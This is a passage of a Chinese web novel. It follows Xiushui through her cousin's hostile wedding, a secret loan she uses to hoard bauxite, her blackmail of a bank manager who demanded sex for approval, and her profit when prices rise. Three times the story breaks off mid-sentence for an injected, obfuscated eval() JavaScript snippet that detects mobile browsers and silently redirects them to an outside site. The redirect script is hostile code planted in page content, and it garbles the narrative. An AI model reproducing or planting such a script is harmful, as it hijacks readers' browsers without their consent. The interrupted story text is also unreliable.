有人便拉了安国庆的姐姐先走了,安国庆回来,见秀真红着眼满脸委屈,便赔笑说:“喜日子可别伤心啊,我姐这也是亲热的意思,我们这边都作兴这样,不这么闹不热闹……” 秀水冷着脸没作声,谁家好人表示亲热,是把一筐麸皮朝新娘身上倒的?早是她拦住了,不然一身的麸皮,秀真进门还不被人笑话?这个大姑姐真真不是盏省油的灯,说不定后面还有什么夭蛾子等着她们呢。 果然,等秀真进房间稍歇片刻,就要举行新人拜堂的仪式了。安国庆的大姐二姐又都进来了,一边一个搀着秀真要往外走。秀水直觉不妙,忙扒开他二姐说:“我来扶我姐!” “哪有让娘家妹妹扶的?”安大妮对安二妮使眼色,说:“咱们俩来扶!” 秀水握住秀真的胳膊不放,似笑非笑道:“大姑姐,你可别信口胡说。我们那儿的规矩,拜堂都是娘家妹妹扶着的。你让开!” 两人争执几句,互不相让,外头已经有人催促了。安大妮无法,只好和秀水一起扶着秀真出去了。堂屋里供着祖先牌位,安家父母坐在一旁。秀真和安国庆并排站着,有司仪在旁边高喊:“一鞠躬,拜天地祖宗,望祖宗保佑后代子孙福祚绵长;二鞠躬,拜堂前父母,望父母大人平安康健;三鞠躬,拜新婚夫妻,望夫妻同心、早生贵子……” 秀水不时瞧一眼安大妮,就见前面拜祖先和父母时,她倒还好,等到“三鞠躬”时,她顿时跟打了鸡血似的,整个人都扑到秀真身上,死命按她的头,好叫她低安国庆一头。 旁边的乡亲都发出哄堂大笑,秀水却是火冒三丈。她拽着那女人的胳膊,硬生生把她从秀真身上扯下来,扯得安大妮一个踉跄,差点摔倒。乡亲们见娘家人和婆家人争斗起来,自以为得趣,哄笑声越发大了。 安大妮见自己没办法过去,忙朝安二妮使眼色。秀水拦在秀真身边,谁来就搡谁,不准任何人靠近她姐。后来秀明也过来了,看安国庆两个姐姐这么胡搅蛮缠地想强压秀真一头,也有点气,便站在秀水旁边一起挡着。秀真和安国庆这才顺利拜了堂,又给公婆敬了改口茶。 等把新人送进洞房,亲朋好友们便去坐席吃饭了,秀明也被请出去坐了上席。新房里另安排了一桌菜,由秀水和婆家几个姑姐妯娌陪秀真一起吃。安大妮胳膊被秀水掐得青紫,又几次扫去兴头,饭桌上都没有好脸色。秀真被安国庆几个姐姐闹了两场,浪漫温存的小女儿心态一扫而空,端着饭菜有些食不下咽。 刚刚吃得差不多,忽听外头有人喊:“走,闹洞房去啊!” 安大妮和几个妯娌乱纷纷地朝外避。这时就见一群男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秀真抽泣了几声,忙强忍住了。她虽然一时崩溃想回家,可也明白自己只能说说罢了。这年头,一个女孩子要是离婚,那是要遭千夫所指的。连娘家人都要被嘲笑,一辈子抬不起头来。所以,她自己挑了这个男人,咬着牙也要走下去。 秀明也安慰了半天,这才和安国庆出去了。秀水把房门关了,独自在里面陪秀真。她很后悔,早知道安家是这种情形,当初就该劝阻这桩婚事。但她同时也知道,即使她劝了,多半也阻止不了。 这是秀真的人生。路怎么样,走过的人才会知道。 秀水罗里罗嗦嘱咐了许多。她让秀真在婆家只管放凶狠些。婚礼上闹这些,不就是婆家人对新娘子进行服从性测试吗?这时就该强硬起来。但考虑到秀真的性格,她又劝她婚后尽量跟着丈夫去工地,虽然日子苦点,总好过在这个鬼地方跟那些姑姐们缠斗。 秀真也听进去了,可她是个温和老实的性子,知道是一回事,真让她当面跟人翻脸还是很难。眼看着天色晚了,秀真便强忍着忐忑,让秀明和秀水回城里去。秀明一个大男人,呆多晚都没问题。可秀水一个没结婚的女孩子,她怕被闹婚的男人们再次盯上。 “姐,没什么好怕的。你是堂堂正正嫁过来的,是这个家的女主人。”临走前,秀水又宽解道:“而且你娘家也有人,无论发生什么事,我们都会站你这边。你只管放心大胆地走。” “知道了!”秀真勉强笑着,对哥哥和堂妹挥手道别,“我都知道了!” 然后她回到婚房,独自坐在床上,听着隔壁传来的喧闹声,觉得自己陷入了前所未有的孤独。 53. 第 53 章 一路颠簸回到怀安市,喻庆山开车送秀明回红英村,刘瑞英则跟在秀水后面问长问短。秀水骂骂咧咧地把结婚那天的事情讲了一遍,刘瑞英听了大惊失色。 “他们那边的人怎么那么坏?太坏了!这还是爹生父母养的人吗?”她后怕得头皮发麻,最初只说让秀水去送嫁,哪晓得大姑娘差点让人给害了!要是真在那边出了事,她拿刀杀了姓安的全家人又有什么用? “小安呢?他不是看着还挺精明强干的吗?”她对安国庆的印象急转直下,气忿忿地问:“怎么他也不管,就这么让人欺负你们?” “一家子估计都不是什么好鸟!”秀水愤愤地坐在桌旁吃面条,“他就轻描淡写地说了两句。你想啊,他两个姐姐带着头闹,处处都想压真姐一头。谁知道是不是一家人商量好的?我看哪,真姐以后的日子只怕难熬!” 刘瑞英叹息道:“怎么办呢?那也是她的命。” 秀真虽不是她生的,却也是看着长大的女孩,刘瑞英心疼得厉害,却也无可奈何。秀水却烦道:“什么命不命的,过得不好就叫真姐离婚!天下除了安国庆就没有男人了?就算没男人,女人一个人难道就活不下去了?” 刘瑞英赶紧捡个丸子堵住了秀水的嘴。她觉得她家大姑娘哪哪都好,就是这张嘴时常吐露些惊世骇俗的话。这叫她怎么接?刚结婚就劝人离婚?那还不如杀了蒋士芳呢。 “这种话可别在你爸面前说,更别在你大爷大娘面前提,知道了没?”刘瑞英叮嘱,不然喻庆海和蒋士芳听说那边是这么个情形,只会比她更难受。 秀水点头,默然不语。刘瑞英又叹息道:“看到了没有?嫁人千万别嫁远了,就在近处找。要是婆家有人作妖,我们当长辈的还能给你作主。嫁那么远,就算我们想过去也有心无力……” “怎么有心无力?”秀水撇嘴,“我让秀真经常写信回来的,真过得不顺心,我们坐车去她婆家,打不死那几个老妖婆!” 母女俩嘀咕了一晚上。等喻庆山回来了才掩口不提。第二天秀竹回来了,也问起秀真婆家的情况,听秀水说完后,也气了半天,还问刘瑞英,“难道我们不能把真姐接回来吗?” “接回来干什么?”刘瑞英说:“她嫁人了,就是别人家的人。就算接回来住几天,终归是要回去的呀。” “凭什么嫁人了就成别人家的人了?”秀竹气道:“我以后坚决不嫁人!嫁到一个陌生人的家里,给人家干活儿,还没人真心待你,有什么意思……” 刘瑞英听了,一则以喜,一则以忧。喜的是就凭秀竹这声气,只怕到时让她招赘,她也是愿意的;忧的是两个女儿没一个让人省心,动不动就喊着不嫁人不结婚。年纪小的那个这么说也就罢了,年纪大的那个若总不肯去相亲,她这个老母亲就颇为头疼了。 她在为秀水的亲事而头疼,但秀水却在为没有钱而头疼。 “命运就算颠沛流离,命运就算曲折离奇,命运就算恐吓着你做人没趣味,别流泪心酸更不应舍弃……”录音机里播放着语句铿锵的粤语歌曲,服装店却只有伍爱娜独守孤城。今年是她在财校就读的最后一学期,同学们都被安排到各厂实习,伍爱娜不愿意去,天天跑来给她姐看店。 一上午守在店里,只卖出去了三件衣服,让习惯了春节前爆火的伍爱娜相当寂寞。更寂寞的是连个说话的人也没有。这段时间秀水经常不在店里,也不知跑哪儿去了。 秀水在干什么呢?她瞒着全家人去贷款了。 她先去旁边的信用社营业厅问了问,想抵押房子贷出二十万块钱来。谁知没关系根本贷不出来。她只好转身找到报社的姜明程,问他认不认识什么人。姜明程打听一番,给她牵了根线,找到了一家银行的信贷部经理,姓王。秀水便请姜明程和王经理吃了顿饭。 她知道对方爱喝酒,转手就把高晟送来的高档烟酒送出去了。王经理吃了饭、收了烟酒,这才笑盈盈地把秀水的资料收上来,前后跑了大半个月,才告诉秀水没问题。审核贷款二十万。为期一年,过段时间就能到账。 这事儿秀水从头到尾都没跟任何人说。二十万,可是笔天文数字!要是刘瑞英和喻庆山知道她把房子抵押出去,就为了借二十万块钱,非疯了不可! 二十万巨款眼看要到账,秀水特意抽了一个周末,约上高晟去了邻县的矿上。高晟虽然不知道她为什么突然要买铝土矿,但是师父这种神人,干什么自然都有她的理由。更何况家里的矿石反正是要卖的,卖给别人不如卖给师父。 他俩坐车到了邻县,又雇了辆摩托到了矿上。碰巧高天海去了外地,高晟他妈彭玉梅接待了两人。听高晟介绍那是他师父,彭玉梅大为震惊,简直不敢相信自己的眼睛。儿子在家师父长师父短的,她一直以为对方是位仙风道骨的高人,哪知道是这么年轻的一个小姑娘! 但彭玉梅还是拿出了足够的恭敬,握着秀水的手一再表示感谢。她家这个孽障这一年变化太大,其中必然有师父的功劳。别管人家有多年轻,能把自家孩子教好,他们当父母的,自然是要表达感激的。 秀水把自己的来意说了。彭玉梅听说她要买矿石,当即表示没问题。他们家矿石有储存,实在不够也可以从别家调。附近小矿井可不止他们一家,随便要多少她都调得出来。 她还给秀水介绍了矿石的不同成色和价格,高晟旁听了几句就不耐烦了,说:“妈,送我师父几吨呗!反正又不值钱!不是卖出去好多都收不回来款吗?我师父可是给现钱的!” 彭玉梅简直没嘴说这个死小子,哪有这么拆自己家台的?秀水却笑:“我们是正经做生意,哪能不给钱?我都把钱准备好了。” 前两年形势不好,矿石卖出去了,钱款却难收回来。每年高天海有一多半时间都在外面讨账。现在有人揣着钱来买矿石,彭玉梅自然是喜从天降。这时她再看秀水,那就不光是儿子的师父了,那是她闪闪发光的金主啊。 铝土矿的品位不同,价格也相差不少。彭玉梅带秀水在矿上转悠了一大圈,把里面的门道都给她说明白了。平城县的铝土矿属于中等品位的。高家的矿石在众多矿井里面又属于品质比较好的。往年价格在每吨八十元到一百二十元不等,因为是高晟的师父,彭玉梅便没耍花枪,直接按市场最低价给了她。但要先付一万块钱押金,才好发货。 “是准备发到哪里?”彭玉梅问。 “先不着急发货,”秀水说:“先收在你们矿上。这边有仓储区吗?” 彭玉梅觉得有点不对劲儿了。二十来万块钱的货呢,白搁在这里,开啥玩笑? “有是有的,我们旁边就有露天仓库。”彭玉梅带秀水往那边走,瞅着她在前面,自己落后一步,悄悄问高晟:“你这师父到底来路正不正?急着要买矿石,又不发货,到底啥意思?” 高晟却是对他师父深信不疑,“你不要这样说别人!我师父为人行得端坐得正!她这么做肯定有她的理由!你背后蛐蛐别人,很不礼貌知道不?” 彭玉梅心里叹气,觉得她家傻儿子要是出去做生意,能被人骗得裤衩子都不剩。几人看完了仓库,谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954983|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了秀水先付一万元押金,其余二十万一个月内付清,彭玉梅把两千七百吨铝土矿石收贮到矿区的露天仓库里,等合适的时候再出手。 生意谈完了,彭玉梅却不放人走,骑着摩托车带他们去附近餐馆吃饭。三人边吃边聊,彭玉梅是个人精,话里话外地打听秀水为啥买矿石。秀水见她起疑,也没刻意隐瞒,索性摊开了讲:“彭总,实话告诉你,我也是最近看新闻,觉得这些原材料肯定会涨价,才准备买几吨试试手……” 彭玉梅大为吃惊,想了想,也忍不住对她掏心置腹,“按理我不该说这话。我们家老高一年上头在外头跑,托了多少人情、费了多少心思,才把矿石卖了出去,养活了井上井下的几十号人。过年前我们还在商量,真想把矿井转给别人算了,一年上头磨死人,还挣不了几个钱。外头欠一屁股账,全都收不回来。妹妹,听姐一句劝,你没在这一行干过,又不认识什么人,怎么敢投这么多钱进去?你这时候退信,我也不要你的押金了,你再考虑考虑。” 秀水也笑,“梅梅姐,你既然说这话,显然没拿我当外人。那我也告诉你,矿井先别急着转手,你们再干一年试试。两千多吨矿石我买定了,亏就亏了,不过是几万块钱的事。要是涨价了,你可不许说收回的话。” 彭玉梅见她这么头铁,也没再劝。她又不是菩萨,真金白银拿过来的钱谁不想赚啊。当下几人吃完饭,还回去按照秀水的意思拟了个合同,双方都按了手印。秀水这才揣着合同,和高晟一起回家了。 过了两天,等高天海回来,彭玉梅忍不住把这事告诉了他。“年纪不大,还挺有魄力的。我看她是个人物。想不到小晟这狗东西运气怪好的,在外头结交的人都还不错……” 高天海对儿子的好运气没什么感觉,但听说铝土矿要涨价,却是引起了他的强烈兴致。他一个开矿的,当然也时常关注时事。尤其近来偶尔听到行业里有人猜测,只怕铝锭要涨价。铝锭涨了,铝土矿还不得跟着涨? “这个消息只怕是真的。”高天海沉吟道:“你还记得老秦吗?那天我跟他吃饭,他喝醉了酒,也说过这话,还让我有钱的话多买点铝锭囤着。我哪来那么多钱?听听也就算了。但要是真的话……” 他思索着去哪儿借钱,就听彭玉梅说:“要是真涨价了,那我们不是卖亏了?不过人家都下了押金,又是小晟的老师,肯定得照数给她的。” “不在乎这几千吨矿石,”高天海想了半天,才下定决心,说:“咱们也凑凑钱,买点铝锭吧。就通过老秦的渠道买。” “咱们手上也没多少现钱,还得发工人工资呢,”彭玉梅提醒他:“你可想好了,要是买铝锭,万一矿上要用钱,资金链可就断了。” 高天海踌躇了很久,才咬牙说:“买!把账拢一拢,我们也想办法贷点款!人家一个小姑娘都有这个气魄,咱们手上好歹还有个矿呢。” 彭玉梅犹豫着答应了,心里却想,人家小姑娘是光脚的不怕穿鞋的,亏就亏了,无所谓。他们手里有个矿反而负担重。万一砸了,几十口人的饭碗可就跟着保不住了。 当晚夫妻俩一夜没合眼,嘀嘀咕咕商量着贷款的事。彭玉梅虽然疑虑重重,还是听了高天海的话,毕竟家里还是他当家。第二天,彭玉梅在矿上给秀水调矿石,高天海则去县城请客吃饭,准备也贷二三十万块钱,买些铝锭囤起来。 那边彭玉梅很快就把矿石调齐了,给高晟打电话,让他去秀水家送信。高晟赶紧跑了一趟。秀水听了这消息,却是开心不起来,因为,她的贷款出问题了。 54. 第 54 章 从矿上回去后,秀水天天去王经理的办公室,询问贷款的进展。王经理起初笑脸相迎,过了段时间就不见面了,去他办公室也经常找不到人。 都是千年的狐狸,秀水就猜到事情要糟。她又托了姜明程,邀请王经理出来吃饭。王经理连姜明程的面子也不卖了,托辞说过一阵子再说。秀水就有点沉不住气了。 她现在总算体会到了初代创业者的压力。发财的机会就在眼前,却眼睁睁地看着它从眼底溜走。错过了这个最恰当的时机,她不仅挣不到钱,还得亏一万块押金,大半年时间都搭在里头白忙活了。 这半个多月以来,每次到公用电话亭给彭玉梅打完电话,她就有点焦头烂额。有次从外面回家后,她痛下决心,就算第二天到银行蹲守,也要逮住王经理那老王八蛋。 第二天,她揣着两个包子,大清早就去了银行门口。守了两个多小时,才看到王经理挟着皮包,匆匆忙忙朝里走。秀水赶紧一溜小跑,上前跟着他,亲亲热热道:“王经理,可算等到你了!” “哟,小喻呀,”王经理跟没事人一样,笑呵呵地和她握手,“这几天实在是忙!唉,天天都忙啊。” “知道知道,理解理解!”秀水抽出了自己的手,跟着他去了办公室,还给王经理和自己都倒了杯茶,才说:“王经理,你知道我急等这笔贷款,倒是给我一句实话啊,什么时候才能批下来?” “领导审核的时候,说你那套资料有问题,我也没有办法啊。”王经理叹着气说。 秀水气血直往头上涌,忍了忍,才好声好气道:“之前您不都看过几遍了吗?不是说没问题吗?怎么现在又有问题了?” 王经理假装无辜,“那领导要卡着,我有什么办法?” 秀水深吸一口气,尽量心平气和地问:“什么领导?请出来吃顿饭,好好聊聊呗。我觉得我的资料没什么问题,这中间是不是有什么误会?” 张经理便笑,端着茶杯过了一会儿,才意味深长地说:“小喻啊,你要是真想贷款,光吃饭可不行啊。” 秀水看着那张似笑非笑的脸,突然就明白了什么。她也笑了笑,说:“我年纪小不懂事。您觉得这事该怎么办?跟我说句明话呗。” “哎呀你这人!这让我怎么说呢……”王经理喝了几口茶,才正色道:“算了,看你是个小姑娘,我跟你直说。今天晚上你到城东凤凰宾馆订个房间,咱们好好聊聊资料的事情。我等会儿还有事,还得去开会呢,就不跟你多说了。” 说着急匆匆地又要走,秀水便也出来了,路上咬牙想,这狗贼,真是色胆包天啊,这不得给他点颜色看看? 回家左思右想,到了傍晚,她还是去王经理说的那家宾馆订了个房间。等到八点多钟,王经理才敲门进来,大模大样地坐在床上,说:“小喻,你贷款那事,原则上是办不成的,上级不批。要想办下来,我得出力,还要动用我的关系。那我费那么大力气,肯定要尝点甜头,你说对吧?我可没逼你,这种事情就讲究个你情我愿。” 秀水坐在他对面,平静地笑笑,说:“这我晓得。” 王经理便觉得她是个明白人,几句话就说妥了,当即便坐到她旁边,想摸摸她的手。秀水侧身闪开,皱眉道:“你从哪儿来的?身上一股酒气。能不能先去洗个澡?” 王经理自以为会意,忙哼着小调去洗澡了。等他围着一条白毛巾志得意满地出来,迎面突然飞来一脚,王经理跌坐在浴室里,疼得半天喘不过气,过了一会儿才“哎哟哎哟”地叫起来。 “你他妈给脸不要脸!”他勃然大怒,“老子又没逼你!是你自己愿意的!” “我这人脾气不好,惹到我你算是踢到铁板了。”秀水平静地说,把王经理的衣服扭成一股绳,给他捆了起来,“你要是一开始跟我说贷不了,那就什么事都没有。你拖老娘这么久,故意卡着不办,不就为你□□里这点破事吗?那我今天就让你痛快个够!” 然后她扣住绳结,把王经理跟拖死猪一样拖到床上,又转身从柜子旁的包里拿出了相机,——为了这事,她下午还专程向姜明程借了相机。 王经理一看就着了急,“你……你拿这个玩意儿干什么?你这个疯婆娘,到底想干什么?” “我想干嘛?”秀水冷笑:“当然是拍些照片寄给你老婆、寄给你领导啊。我得看看这事到底有没有人管,会怎么管。我可太好奇了……” 王经理又是恐惧,又气急败坏:“你不讲规矩!你这个人,怎么这么不讲规矩!” 秀水抬脚踩在他胸口上,凑近他,狞笑着说:“我的规矩才是规矩!你的规矩算个屁!” 她没再跟他废话,只给前台播了个内线电话。过了一会儿,敲门声响起,秀水伸出手指,朝王经理威胁地点了点,然后才打开门。一个穿超短裙的时髦女郎走了进来,看到床上的王经理,捂着嘴发出惊呼,转身想跑。 秀水一把把她扯进来,暴躁道:“想挣钱就躺到他旁边,拍几张照片就放你走。要想死你就接着喊、接着闹!” 那女人虽然惊恐,但干这一行的,见惯了奇奇怪怪的事情,忙用头发半盖着脸,非常配合地躺到王经理旁边,甚至还习惯性做出了殷勤小意的样子。秀水拿着相机左拍右拍,尽量避开了女人的正脸。王经理则又惊又怒,破口大骂。 等拍够了,秀水才给了钱,打发那女人先走,又威胁道:“一个字都别往外说,不然有你受的!”那女人见她凶神恶煞,一句话也不敢多说。拿了钱就飞快地跑了。 王经理终于怕了。他没想到,一个看起来文文弱弱的小姑娘能这么不择手段,“你先松开我,松开了我再跟你慢慢说。” 秀水给他解了绳子,坐在旁边笑得又温柔又和气,说出来的话却尽是虎狼之辞,“别以为我手里只有这些照片。这种事你不是第一次干了吧?在外面没少吃拿卡要吧?王经理,要想人不知,除非己莫为。我要是想搞你,分分钟都能让你蹲大牢,到时候你声败名裂,别说我没提醒你啊。” 王经理抖抖索索穿上衣服,垂头丧气没作声,眼睛却瞅着她手上的相机。秀水当着他的面把胶卷取了出来,在他眼前晃了晃说:“接下来,咱能办点人事吗?” 王经理苦着脸说:“行行行,我马上给你办。那……那这底片你得给我啊……” “现在吗?你想多了!”秀水冷笑,“钱到账了我自然寄给你。你要是想报复我,那咱们就走着瞧。明白地告诉你,我这个人,不懂什么狗屁规矩,正道行不通,歪门邪道我也略懂一二。谁要是惹怒了我,我一定会加倍还回去!可别让我盯上你哦……” 说完她就大摇大摆地出去了。接下来的事情她并没有多担心。王经理肯定不愿意吃这种暗亏,说不定还会找人来搞事。但秀水手里握着黑料,笃定他不敢报警。就他干的这些龌龊事,别说报警,哪怕只是捅出去了,也会把他自己的前程全都搭进去。她倒要好好和对方来一番心理较量,看谁更沉得住气。 只能说老王八命好,以前没碰到过像她这么疯的人。但凡遇到过一次,就不会这么猖狂。也不提前打听打听她是什么样的人,就敢色令智昏地要挟她,挨一顿整,只能算他倒霉。 就这么等了三四天,什么事都没发生。等她再去银行里查询时,发现二十万块钱贷款已经划到了她账上。 秀水赶紧第一时间给彭玉梅把款打过去了。随后想了想,还是把那卷胶卷寄给了王经理。对方毕竟有头有脸,真惹急了他,她固然不怕,手里这小生意却也没办法平平安安地干下去了。 之后的一个多月里,她守着服装店,几乎每天都看电视新闻。哪怕知道涨价是大势所趋,背负着二十万的贷款,她的压力也不小。只能庆幸刘瑞英和喻庆山都不知道这事,要是知道她拿家里房子办了抵押贷款,两口子岂不是天都塌了。 日盼夜盼的,好容易等到六月份,新闻里渐渐露出了端倪。钢材、铝锭这些工业原材料都大幅涨价,秀水特意跑到公用电话亭给彭玉梅打电话,果然铝土矿已经涨到了快两百块钱一吨了。就这还供不应求,以前是他们去求别人买矿石,现在是厂家拿钱等着矿石挖出来。 “你卖不卖?要是肯卖的话,我就作主给你卖掉算了。”彭玉梅说。 “再等等看。”秀水说。 彭玉梅打完电话,便跟高天海说:“咱家的铝锭也再等等看。” 就这么着,一两个月时间里,铝锭从六千块钱一吨涨到了一万块钱,铝土矿从八十涨到了二百多,彭玉梅每天都过得心惊肉跳,时刻等待着秀水的电话。现在秀水的话就是她的风向标,她人生的方向。但听秀水在电话里一遍遍地说不卖,她还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962666|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不淡定了。 “咱还是卖了吧,”她跟高天海商量,“收着这些铝锭,变不出钱来,我心里特别不踏实。得换成现钱我才能睡个安稳觉。” 高天海不同意,说的话跟秀水一模一样,“再等等看。等几天再说。” 好在他们家的铝土矿倒是陆续卖出去了,刚卖就后悔,因为一天一个价,第二天涨得更高。矿区每天都有人来收矿石,也不提赊账了,都提着现金。矿洞子里产出多少就能卖出去多少。彭玉梅每天数钱数到手抽筋。自从买了这个矿洞,她就没过过这么畅快的日子,觉得跟梦一样不真实。 其他矿井也都在加紧生产,因为彭玉梅前期向他们调过货,很多人都问她,是不是提前得到了什么内幕消息。彭玉梅谦虚地说:“没有没有,不过是无意中碰到一个大客户。收了这么多矿石,我还不是急得夜夜睡不着,我比你们还着急……” 她这段时间是真的睡不着觉,走出去两个大黑眼圈。不过不单纯是急,更多的是又喜又怕。喜的当然是铝锭和铝土矿价格疯涨;怕的是哪一天突然跌了,让他们血本无归。然后又怕等他们刚卖脱手,价格就涨得更高。 她现在隔三岔五给高晟打电话,也不关心儿子的学业了,开口就是:“你师父呢?你去她家了没有?” “我师父卖衣服啊,除了卖衣服也没干别的,……对了她现在天天带伍爱今跑步练拳,”高晟的语气略显委屈,“伍爱今现在都比我强了。” 高晟平时几乎都在学校,不像伍爱今,放学了就可以去找他姐。每天跟秀水练拳就是不一样,伍爱今现在步伐娴熟,出拳的力道也上去了,能跟秀水打得有来有去的。反倒是高晟的大部分精力都放在田径训练上,现在练拳已经不是那两人的对手了。 彭玉梅丝毫没有体察儿子的小心思,反而惊叹起来,“你师父还有闲心跑步练拳?” “对啊,这有什么好吃惊的?”高晟有点气,她妈就知道一惊一咋,“她天天都跑步!” 彭玉梅挂了电话,佩服地想,喻家妹子可真沉得住气啊!难怪自己第一眼就觉得她是个人物!她眼光向来很好,从来就没看错过人。 到了八月份,铝土矿已经由八十块钱一吨涨到了四百多,秀水终于独自去了矿上一趟。她雇了个摩托车坐上去后,彭玉梅看到她如见亲人,飞奔着过去,拉住她就朝屋里喊:“老高,高天海!快过来,我给你介绍个人。这就是小晟的师父,我喻家妹妹。” 虽然彭玉梅强调过,小晟的师父是个年轻女孩,高天海还是大为吃惊,……这也太年轻漂亮了吧。就这瘦瘦的身胚,能教小晟那五大三粗的憨货练拳? 不过他很快收起了惊讶。人不可相貌,别人年纪轻轻的,就敢贷二十来万炒矿石呢。要不是她,他也不能够跟着发这么大财啊。这可是他老高家的福星啊。 夫妻俩亲亲热热地把人请进屋坐着,秀水委托他们把手头的矿石全部卖掉,高天海连办公室的门都没出,事情就办好了。如今矿石不愁卖,完全由买方市场变成了卖方市场。高天海用他新买的大哥大,打了个电话就有人过来收。 等事情办得差不多了,彭玉梅还不放秀水走,三个人去餐馆里吃了顿饭,完了又亲自骑着摩托车,把她送到了县城的车站里。 “等你下回再过来,就不用坐摩托了,我开车送你。”彭玉梅喜气洋洋道。 “赚得不少啊梅姐,”秀水也笑,“准备买车了?” “先买个桑塔娜开着,”彭玉梅热情地说:“以后要用车跟我说。回头我叫小晟也学个驾照,到时让他给你跑腿!” 过了几天,钱到了账,秀水看着自己账号上的余额陷入了沉默。两年前她还为挣到五十块钱而开心,如今短短几个月的时间,她手上突然就有了一百多万块钱。难怪人们都说八九十年代是冒险家的乐园。罐头换飞机、拆桥卖钢材,种种后来听起来匪夷所思的事情,都发生在这个年代。人生际遇比坐过山车还刺激,现在,她也算是亲身参与了一把。 但这次的经历却也让她警醒起来。哪怕掌握先机,这段时间她也过得很不踏实,根本不像彭玉梅以为的那样轻松。每天都在关注市场行情,每天都担心机遇消逝,每天都心神不宁……相比投机取巧,她还是更喜欢踏踏实实做生意,这种经历,人生中有一次就够够的了。 55. 第 55 章 在把铝土矿转手卖出之后,秀水有了闲心,这才发现,时代的大潮奔涌,给她带来了财富,却让小姨刘兰英失业了。 从去年开始,棉纺厂就经常停工。到了今年,更是几个月没开机器。工人们惶恐地等待着,人群中生出了各种猜测。半年停发工资后,有的人去市政府门口围堵了两次,更多的人纷纷自寻出路。 这期间的每一天,对刘兰英来说都是煎熬。有一天她又去厂里询问,什么时候能恢复生产。两个留守的工会干部都说不准,翻来覆去只有一句话,等候上级通知。至于上级什么时候才有通知,那是谁都说不好的事。也许明天,也许明年。 刘兰英怏怏地下了楼,骑上自行车往回走,路过自己工作过的厂区时,就见偌大的厂房里空荡荡的,四处一片寂静,路两边的法国梧桐枝繁叶茂,只有小鸟在树叶间啼鸣。刘兰英心里空落落的,路上没忍住掉下了眼泪。 这里有她的青春、她的人生啊。还记得第一次走进棉纺厂,她的心情是多么激动和自豪。做梦都想不到,她一个农家姑娘有朝一日成为了工人!如果不是嫁给了伍为民,如果不是伍五叔帮忙,她依旧在家跟着公婆种菜呢。而现在,她戴上白帽子,穿上白围裙,就跟小学课本里的图画那样,成为了一名光荣的纺织女工。 这么多年来,她一心扑在工作上。夜班白班从不挑挑捡捡,那时老大爱娜才几岁,婆婆主动把照顾孩子的事揽过去,让她好好工作。甚至怀着伍爱今的时候,直到孩子出生头几天,才在家歇了两天。要不怎么都说伍爱今皮实呢,他是在机器的轰鸣声中长大的。在她肚子里的时候,不吵不闹,没让她请过一天假。 她的工作也换来了丰厚的报酬。除了工资,前些年厂里总是给先进工人发奖品,毛巾、茶缸甚至床单,刘兰英隔三岔五朝家里拿。从她上班起,家里的毛巾和床单没在外头买过,全是厂里发的。工资每月按时发放,时不时的还有奖金。作为一个工人,还有什么比这个更让人感到安心的呢? 她以为可以这样干一辈子呢,怎么都想不通,这么红火的工厂,为什么说不行就不行了呢…… 刘兰英就这么流着眼泪,一路骑车回了家。然后她擦了擦眼泪才进门。家里还有两个老人,见她没了工作,他们跟她一样着急。她也不想让家里人心焦,可是拿起茶缸喝水时,看到“怀安县棉纺厂”的字样时,她就心里难受;拿起毛巾擦汗时,看到上面印着棉纺厂的字样,她就想流泪;甚至上床休息时,床单和枕套上也着棉纺厂几个字,刘兰英就又忍不住了,躺在床上不出声地哭。 家里这段时间非常安静,就连伍爱今都变得乖巧听话了。所有人都知道,刘兰英的心里非常难受,情绪时刻处在爆发的边缘。尽管伍爱民安慰她,棉纺厂不行了就跟他去干木工活儿,搬个材料打个下手也是好的;尽管伍爱娜也安慰她,她已经毕业了,家里有她和她爸两人挣钱,日子也不会有多难……但所有的安慰都对刘兰英失去力量,她沉浸在失业的惶恐和难过中不能自拨。 现在她不再反对伍爱娜卖服装了。如果自己工作了十几年的单位都能说垮就垮,那做小生意也没啥可怕的,更何况,她这么难过,也没力气反对了。孩子喜欢,就由着她去吧。 妹妹要下岗的事情,刘瑞英也第一时间知道了。有一天趁着店里生意不忙,她让喻庆山守店,自己去好好劝慰了刘兰英一番。先听妹妹哭诉了一阵子,刘瑞英才给她出主意,既然当不成工人了,何不跟他们一样,也在路边开个小店做点小生意呢? “你这样光流眼泪可不行。”刘瑞英说:“越哭越难受。但凡手里找个事儿做,也能分分心。实在不知道干什么,你就到我店里来吧,每天帮帮我。” 早餐店现在生意还行,现在小庙大道这边已经形成了过早一条街,很多人专程从城里跑来吃早饭。其中豆腐包店是最早开张的,回头客也最多。对此刘瑞英是非常满足的。只要店里有生意,她再累也开心。两口子鼓足了干劲儿,准备今年给秀竹挣点上学的钱,再给秀水挣点嫁妆钱。虽然秀水也有个服装店,但为人父母的,哪能不给孩子提前准备嫁妆呢? 